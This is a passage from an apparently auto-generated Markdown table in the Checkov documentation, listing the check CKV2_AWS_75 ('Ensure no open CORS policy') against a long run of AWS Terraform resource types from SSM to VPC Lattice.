Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1524 | CKV2_AWS_75 | resource | aws_ssm_patch_baseline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1525 | CKV2_AWS_75 | resource | aws_ssm_patch_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1526 | CKV2_AWS_75 | resource | aws_ssm_resource_data_sync | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1527 | CKV2_AWS_75 | resource | aws_ssm_service_setting | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1528 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1529 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1530 | CKV2_AWS_75 | resource | aws_ssmcontacts_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1531 | CKV2_AWS_75 | resource | aws_ssmcontacts_rotation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1532 | CKV2_AWS_75 | resource | aws_ssmincidents_replication_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1533 | CKV2_AWS_75 | resource | aws_ssmincidents_response_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1534 | CKV2_AWS_75 | resource | aws_ssmquicksetup_configuration_manager | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1535 | CKV2_AWS_75 | resource | aws_ssoadmin_account_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1536 | CKV2_AWS_75 | resource | aws_ssoadmin_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1537 | CKV2_AWS_75 | resource | aws_ssoadmin_application_access_scope | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1538 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1539 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1540 | CKV2_AWS_75 | resource | aws_ssoadmin_customer_managed_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1541 | CKV2_AWS_75 | resource | aws_ssoadmin_instance_access_control_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1542 | CKV2_AWS_75 | resource | aws_ssoadmin_managed_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1543 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1544 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1545 | CKV2_AWS_75 | resource | aws_ssoadmin_permissions_boundary_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1546 | CKV2_AWS_75 | resource | aws_ssoadmin_trusted_token_issuer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1547 | CKV2_AWS_75 | resource | aws_storagegateway_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1548 | CKV2_AWS_75 | resource | aws_storagegateway_cached_iscsi_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1549 | CKV2_AWS_75 | resource | aws_storagegateway_file_system_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1550 | CKV2_AWS_75 | resource | aws_storagegateway_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1551 | CKV2_AWS_75 | resource | aws_storagegateway_nfs_file_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1552 | CKV2_AWS_75 | resource | aws_storagegateway_smb_file_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1553 | CKV2_AWS_75 | resource | aws_storagegateway_stored_iscsi_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1554 | CKV2_AWS_75 | resource | aws_storagegateway_tape_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1555 | CKV2_AWS_75 | resource | aws_storagegateway_upload_buffer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1556 | CKV2_AWS_75 | resource | aws_storagegateway_working_storage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1557 | CKV2_AWS_75 | resource | aws_subnet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1558 | CKV2_AWS_75 | resource | aws_swf_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1559 | CKV2_AWS_75 | resource | aws_synthetics_canary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1560 | CKV2_AWS_75 | resource | aws_synthetics_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1561 | CKV2_AWS_75 | resource | aws_synthetics_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1562 | CKV2_AWS_75 | resource | aws_timestreaminfluxdb_db_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1563 | CKV2_AWS_75 | resource | aws_timestreamquery_scheduled_query | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1564 | CKV2_AWS_75 | resource | aws_timestreamwrite_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1565 | CKV2_AWS_75 | resource | aws_timestreamwrite_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1566 | CKV2_AWS_75 | resource | aws_transcribe_language_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1567 | CKV2_AWS_75 | resource | aws_transcribe_medical_vocabulary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1568 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1569 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1570 | CKV2_AWS_75 | resource | aws_transfer_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1571 | CKV2_AWS_75 | resource | aws_transfer_agreement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1572 | CKV2_AWS_75 | resource | aws_transfer_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1573 | CKV2_AWS_75 | resource | aws_transfer_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1574 | CKV2_AWS_75 | resource | aws_transfer_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1575 | CKV2_AWS_75 | resource | aws_transfer_server | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1576 | CKV2_AWS_75 | resource | aws_transfer_ssh_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1577 | CKV2_AWS_75 | resource | aws_transfer_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1578 | CKV2_AWS_75 | resource | aws_transfer_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1579 | CKV2_AWS_75 | resource | aws_transfer_workflow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1580 | CKV2_AWS_75 | resource | aws_verifiedaccess_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1581 | CKV2_AWS_75 | resource | aws_verifiedaccess_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1582 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1583 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1584 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_trust_provider_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1585 | CKV2_AWS_75 | resource | aws_verifiedaccess_trust_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1586 | CKV2_AWS_75 | resource | aws_verifiedpermissions_identity_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1587 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1588 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1589 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1590 | CKV2_AWS_75 | resource | aws_verifiedpermissions_schema | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1591 | CKV2_AWS_75 | resource | aws_volume_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1592 | CKV2_AWS_75 | resource | aws_vpc | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1593 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_exclusion | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1594 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1595 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1596 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1597 | CKV2_AWS_75 | resource | aws_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1598 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1599 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1600 | CKV2_AWS_75 | resource | aws_vpc_endpoint_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1601 | CKV2_AWS_75 | resource | aws_vpc_endpoint_private_dns | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1602 | CKV2_AWS_75 | resource | aws_vpc_endpoint_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1603 | CKV2_AWS_75 | resource | aws_vpc_endpoint_security_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1604 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1605 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_allowed_principal | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1606 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_private_dns_verification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1607 | CKV2_AWS_75 | resource | aws_vpc_endpoint_subnet_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1608 | CKV2_AWS_75 | resource | aws_vpc_ipam | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1609 | CKV2_AWS_75 | resource | aws_vpc_ipam_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1610 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1611 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1612 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr_allocation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1613 | CKV2_AWS_75 | resource | aws_vpc_ipam_preview_next_cidr | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1614 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1615 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1616 | CKV2_AWS_75 | resource | aws_vpc_ipam_scope | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1617 | CKV2_AWS_75 | resource | aws_vpc_ipv4_cidr_block_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1618 | CKV2_AWS_75 | resource | aws_vpc_ipv6_cidr_block_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1619 | CKV2_AWS_75 | resource | aws_vpc_network_performance_metric_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1620 | CKV2_AWS_75 | resource | aws_vpc_peering_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1621 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1622 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1623 | CKV2_AWS_75 | resource | aws_vpc_security_group_egress_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1624 | CKV2_AWS_75 | resource | aws_vpc_security_group_ingress_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1625 | CKV2_AWS_75 | resource | aws_vpc_security_group_vpc_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1626 | CKV2_AWS_75 | resource | aws_vpclattice_access_log_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1627 | CKV2_AWS_75 | resource | aws_vpclattice_auth_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1628 | CKV2_AWS_75 | resource | aws_vpclattice_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1629 | CKV2_AWS_75 | resource | aws_vpclattice_listener_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1630 | CKV2_AWS_75 | resource | aws_vpclattice_resource_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1631 | CKV2_AWS_75 | resource | aws_vpclattice_resource_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1632 | CKV2_AWS_75 | resource | aws_vpclattice_resource_policy | Ensure no open CORS policy | Cloudformation | 